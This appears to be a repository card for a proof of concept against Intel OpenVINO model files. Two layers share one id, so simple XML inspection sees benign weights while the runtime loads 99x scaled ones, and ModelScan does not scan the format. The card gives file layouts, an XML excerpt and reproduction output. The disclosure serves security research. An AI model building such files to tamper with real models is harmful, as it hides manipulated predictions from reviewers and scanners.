YAML Metadata Warning:empty or missing yaml metadata in repo card
Check out the documentation for more information.
OpenVINO IR duplicate layer id β reader differential PoC
Vulnerability class: Model File Vulnerability (MFV) β format-level reader differential
Target: Intel OpenVINO
Tested version: openvino 2024.6.0
Summary
An OpenVINO IR model (.xml + .bin) can contain two <layer> elements with the
same id attribute in its topology XML. In the tested runtime path, OpenVINO resolves
the duplicate to the later layer definition and reads the weight bytes at that layer's
.bin offset. A reviewer or script using xml.etree.ElementTree.find() returns the
first matching layer and reads the weight bytes at the first layer's offset.
By placing benign weights at the first layer's offset (what a first-match XML reader sees) and attacker-controlled weights at the second layer's offset (what the OpenVINO runtime uses), a crafted model can produce manipulated predictions while appearing benign to simple inspection.
ModelScan 0.8.8 has no OpenVINO IR scanner β the format is not covered and the files are not scanned.
Files
| File | Description |
|---|---|
benign.xml + benign.bin |
Reference model: 2Γ2 identity matrix, output = input |
dup_layer_last.xml + dup_test.bin |
Crafted model: duplicate <layer id="1"> β first at offset=0 (benign), second at offset=16 (99Γ scale) |
reproduce.py |
Verifies the reader differential and output manipulation |
requirements.txt |
Python dependencies |
Reproduction
pip install -r requirements.txt
python reproduce.py
Expected output
OPENVINO_LAST_LAYER_WINS=True
PYTHON_ET_FIND_FIRST=True
OUTPUT_FLIP_CONFIRMED=True
benign=1.0 crafted=99.0 delta=98.0
ET.find() sees: offset=0 weights (benign identity):
[[1. 0.]
[0. 1.]]
MODELSCAN_RESULT=0 issues / not scanned (no OpenVINO scanner)
=== Prediction table ===
Model Output
benign.xml [[1.0, 2.0]]
dup_layer_last.xml [[99.0, 198.0]] <- C++ used last (crafted)
[PASS] All checks passed.
Mechanism
In dup_layer_last.xml, the <layers> block contains two entries for id="1":
<!-- First layer id=1: benign identity weights at offset=0 -->
<layer id="1" name="weights" type="Const" version="opset1">
<data element_type="f32" shape="2, 2" offset="0" size="16" />
...
</layer>
<!-- Second layer id=1: 99x scale weights at offset=16 -->
<layer id="1" name="weights" type="Const" version="opset1">
<data element_type="f32" shape="2, 2" offset="16" size="16" />
...
</layer>
dup_test.bin contains:
- bytes 0β15: identity matrix
[[1.0, 0.0], [0.0, 1.0]](benign β first-match reader sees) - bytes 16β31: scale matrix
[[99.0, 0.0], [0.0, 99.0]](crafted β OpenVINO runtime uses)
The model loads without error or warning from the OpenVINO runtime.
Reader comparison
| Reader | API | Resolution | Weights loaded |
|---|---|---|---|
Python ElementTree.find() |
.find('.//layer[@id="1"]') |
first match | identity (benign) |
| OpenVINO C++ runtime | Core().read_model() |
last match | 99Γ scale (crafted) |
| ModelScan 0.8.8 | .scan() |
not scanned | 0 issues |